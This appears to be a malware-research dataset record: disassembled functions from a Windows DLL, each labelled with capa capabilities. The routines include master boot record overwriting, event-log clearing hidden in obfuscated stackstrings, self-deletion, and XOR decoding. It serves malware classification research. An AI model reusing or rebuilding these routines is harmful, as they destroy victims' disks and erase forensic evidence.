joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008aa0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.1000daf0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10008e40
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x51c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x14]
push edi
mov bl, 0x6c
push eax
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1d], 0x65
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0x65
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0
call esi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push edx
mov ebp, eax
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], 0x65
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
push 0x10001588
lea eax, [esp + 0x130]
push 0x100014b8
push eax
call dword [fcn.10003b38]
add esp, 0xc
lea ecx, [esp + 0x28]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [esp + 0x30]
push 0
push edx
push 1
lea eax, [esp + 0x140]
push 0x10001578
push eax
push 0x80000002
call fcn.1000dbe0
push 3
push 0
push 0
push 1
lea ecx, [esp + 0x15c]
push 0x10001578
push ecx
push 0x80000002
call fcn.1000e0b0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x3c
xor esi, esi
push 0x32
call ebx
lea edx, [esp + 0x28]
push edx
call edi
test eax, eax
jne 0x10008f63
inc esi
cmp esi, 0x1f4
jl 0x10008f4b
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x51c
ret
Function at 0x10008fe0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10009034
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.10008f80
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1000909f
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x100090f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019e80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x228
push ebx
push esi
push edi
lea eax, [ebp - 0x234]
mov dword [ebp - 0x10], esp
push 0x10001554
xor ebx, ebx
push 0x100014b8
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 4], ebx
call dword [fcn.10003b38]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x234]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x234]
push ecx
push 0x80000002
call dword [fcn.100039bc]
cmp eax, ebx
je 0x10009196
lea edx, [ebp - 0x38]
push 0x1001a2c0
push edx
mov dword [ebp - 0x38], 0x1001bef8
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x40]
push ecx
push edx
push ebx
push 0x100015b8
push eax
mov dword [ebp - 0x34], 4
call dword [fcn.100039c0]
mov ecx, dword [ebp - 0x14]
mov esi, eax
push ecx
call dword [fcn.100039fc]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov al, 0x65
mov dl, 0x75
mov cl, 0x79
cmp esi, ebx
mov byte [ebp - 0x2c], 0x52
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x2a], 0x67
mov byte [ebp - 0x29], 0x51
mov byte [ebp - 0x28], dl
mov byte [ebp - 0x27], al
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], cl
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], dl
mov byte [ebp - 0x20], al
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x28
mov byte [ebp - 0x1c], 0x54
mov byte [ebp - 0x1b], cl
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], al
mov byte [ebp - 0x18], 0x29
mov byte [ebp - 0x17], bl
je 0x1000923f
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x2c]
push 0x1001a2c0
push eax
mov dword [ebp - 0x3c], edx
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x1000923f
ret
mov ecx, dword [ebp - 0x14]
push ecx
call dword [fcn.100039fc]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x30]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009940
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll__mbsrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10009962
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100124d0
add esp, 8
test al, al
jne 0x10009976
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x10001d64
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], 0x10001d54
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x100099d0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x160
push ebx
mov ebx, dword [esp + 0x168]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
push ebx
call esi
test eax, eax
je 0x10009ac3
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x68]
mov dword [esp + 0x10], 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push eax
push 0xf003f
push 0
push 0x10001d74
push 0x80000000
call dword [fcn.100039f4]
test eax, eax
jne 0x10009ac3
lea ecx, [esp + 0x10]
lea edx, [esp + 0x68]
push ecx
push edx
push eax
mov eax, dword [esp + 0x18]
push eax
call dword [fcn.100039f8]
mov ecx, dword [esp + 0xc]
push ecx
call dword [fcn.100039fc]
lea edx, [esp + 0x68]
push edx
call esi
test eax, eax
je 0x10009ac3
lea eax, [esp + 0x68]
push 0x100014c0
push eax
call dword [sym.imp.MSVCRT.dll__mbsstr]
add esp, 8
test eax, eax
je 0x10009ac3
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x174]
mov dword [esp + 0x24], 0x44
test eax, eax
je 0x10009a9d
mov dword [esp + 0x2c], 0x10001d54
lea ecx, [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x84]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x160
ret

Function at 0x10009dc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov al, 0x70
mov cl, 0x69
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x18], cl
mov byte [ebp - 0xf], cl
mov al, 0x74
mov dl, 0x65
mov cl, 0x79
push ebx
mov byte [ebp - 0x19], al
mov byte [ebp - 0x13], dl
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], cl
mov byte [ebp - 7], cl
mov byte [ebp - 5], al
mov byte [ebp - 4], dl
mov bl, 0x53
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x14]
lea edx, [ebp - 8]
push esi
push edi
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1b], 0x63
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x75
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xc], 0
mov byte [ebp - 8], bl
mov byte [ebp - 6], 0x73
mov byte [ebp - 3], 0x6d
mov byte [ebp - 2], 0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edi, [ebp - 0x2c]
mov ebx, 3
mov eax, dword [edi]
push eax
push 0
call dword [0x100039ac]
mov esi, eax
test esi, esi
je 0x10009e7d
push 0
push esi
call dword [0x100039b0]
push esi
call dword [0x100039b4]
add edi, 4
dec ebx
jne 0x10009e5c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a0e0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x1001bf08
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x1001c64c]
push 0x1001bf08
inc ecx
mov dword [0x1001c64c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.10009fb0
add esp, 8
cmp eax, esi
je 0x1000a27f
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x1000a1c6
cmp eax, 2
je 0x1000a1c6
cmp eax, 3
je 0x1000a1c6
cmp eax, 4
jne 0x1000a23f
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.10009f20
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.1000a770
add esp, 0x1c
test eax, eax
je 0x1000a27f
mov edi, 0x100015f4
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push 0x100015f4
push edx
call dword [fcn.10003b90]
jmp 0x1000a23f
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.1000a050
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x1000a27f
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.10009f20
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.1000a770
add esp, 0x1c
test eax, eax
je 0x1000a27f
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [fcn.10003b90]
cmp eax, 0xffffffff
je 0x1000a27f
cmp dword [ebx], 0
je 0x1000a27f
mov eax, dword [ebx + 4]
test eax, eax
je 0x1000a27f
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x1000b270
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000a26f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x1000cc20
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
sub esp, 0x30c
push ebx
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push 0x104
push eax
push 0
call ebx
mov ecx, 0xc
mov esi, 0x10001a9c
lea edi, [esp + 0x118]
push 0x104
rep movsd dword es:[edi], dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0x322], 0x55
mov byte [esp + 0x323], 0xaa
call edi
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push 0x10002234
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000ccbf
pop edi
pop esi
or eax, eax
pop ebx
add esp, 0x30c
ret
push ebp
lea eax, [esp + 0x18]
push 0x104
push eax
push 0
call ebx
lea ecx, [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call ebp
lea edx, [esp + 0x18]
push 0x104
lea eax, [esp + 0x1c]
push edx
push eax
call edi
lea ecx, [esp + 0x14]
push 0
push ecx
lea edx, [esp + 0x124]
push 0x200
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x18]
push 0x104
push eax
push 0
call ebx
lea ecx, [esp + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call ebp
lea edx, [esp + 0x18]
push 0x104
lea eax, [esp + 0x1c]
push edx
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push 0
call ebx
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x30c
ret

Function at 0x1000cec0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
push 0x128
mov dword [esp + 0x14], esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
mov dword [esp + 0x18], edi
push edi
push esi
mov dword [edi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000cf75
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000cf75
mov esi, dword [sym.imp.MSVCRT.dll__mbsupr]
lea ebx, [edi + 0x24]
push ebx
call esi
mov ebp, dword [esp + 0x24]
mov dword [esp + 0x18], eax
push ebp
call esi
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.MSVCRT.dll__mbsstr]
add esp, 0x10
test eax, eax
jbe 0x1000cf3c
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xc
ret
mov ecx, dword [esp + 0x10]
push edi
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000cf75
push ebx
call esi
push ebp
mov edi, eax
call esi
push eax
push edi
call dword [sym.imp.MSVCRT.dll__mbsstr]
add esp, 0x10
test eax, eax
ja 0x1000cf2f
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
push edx
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000cf4b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
Function at 0x1000d530
Capabilities:
Contain obfuscated stackstrings
Delete file
Move file

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
mov esi, dword [0x1001d774]
mov bl, 0x65
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x72
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x6c
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], 0
call edi
lea ecx, [esp + 0x20]
lea edx, [esp + 0x10]
push ecx
push edx
mov ebp, eax
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x4d
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x2e], 0x75
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x46
mov byte [esp + 0x32], 0x69
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x4e
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x36], 0x6d
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0x41
mov byte [esp + 0x39], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x34]
push 0x104
push ecx
push esi
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 4
lea edx, [esp + 0x38]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x1000d760
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push edi
push 0x104
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x100021e0
lea ecx, [esp + 0xc]
push 0x100014b8
push ecx
call dword [fcn.10003b38]
mov edx, dword [0x1001d770]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edi, [esi + 0x10]
push edi
call fcn.1000d640
push edi
call fcn.1000d690
add esp, 8
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call fcn.1000d530
pop edi
pop esi
add esp, 0x104
ret
Function at 0x1000d9b0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push 0x100021e0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000da52
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x1000da3d
mov cl, byte [eax + esi]
xor cl, 0x60
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x1000da2f
push edi
push esi
mov ecx, ebp
call fcn.1000d950
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x1000f230
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
cmp eax, edi
je 0x1000f3dc
cmp dword [esi + 0x1c], edi
je 0x1000f3dc
call fcn.1000f7f0
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.1000f630
lea eax, [ebp - 0xc]
push eax
call dword [0x10003a9c]
lea ecx, [ebp - 0xc]
push 8
push ecx
mov ecx, esi
call fcn.1000f630
lea edx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x14
push edx
call dword [0x10003aa0]
test eax, eax
je 0x1000f2c1
cmp dword [ebp - 0x1c], 1
jne 0x1000f2c1
mov ecx, dword [ebp - 0x18]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x1000f2ae
inc edi
add eax, 4
cmp edi, 0x10
jl 0x1000f2a1
push ecx
call dword [0x10003af0]
cmp edi, 0x10
jne 0x1000f2bd
or edi, 0xffffffff
mov eax, edi
jmp 0x1000f2c4
or eax, 0xffffffff
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
mov ecx, esi
call fcn.1000f630
cmp byte [ebx], 2
jne 0x1000f32b
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000f830
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.1000f890
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x1001d7b8]
cmp ecx, eax
mov edi, edx
je 0x1000f357
push edi
mov ecx, esi
call fcn.1000f3f0
test al, al
je 0x1000f357
add edi, 0x13
jmp 0x1000f35a
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000f378
push edi
mov ecx, esi
call fcn.1000f3f0
test al, al
je 0x1000f36e
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x1000f35f
mov eax, dword [ebp - 8]
mov ecx, 0x13
mov dword [0x1001d7b8], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
mov eax, dword [ebp + 8]
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [eax], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x1000f3be
nop
nop
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x1000f3af
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000fbf0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x1001a0b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x10003cb4
push 0x100022dc
push 0x100012f0
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, eax
mov eax, dword [esi + 0x28]
push 0
push eax
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x1000fc7f
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000fc89
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000fc93
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000fc9d
push eax
call edi
mov edx, dword [esi + 0x10]
push edx
call ebx
mov eax, dword [esi + 0x14]
push eax
call ebx
mov ecx, dword [esi + 0x18]
push ecx
call ebx
mov edx, dword [esi + 0x1c]
push edx
call ebx
mov eax, dword [esi + 0x20]
push eax
call ebx
mov ecx, dword [esi + 0x24]
push ecx
call ebx
mov edx, dword [esi + 0x2c]
push edx
call ebx
mov eax, dword [esi + 0x28]
push eax
call ebx
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.1000dac0
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000ffe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
mov dword [ebp - 4], 0
call fcn.1000fe60
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor ecx, ecx
test eax, eax
jle 0x10010038
push ebx
mov edx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1001000d
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret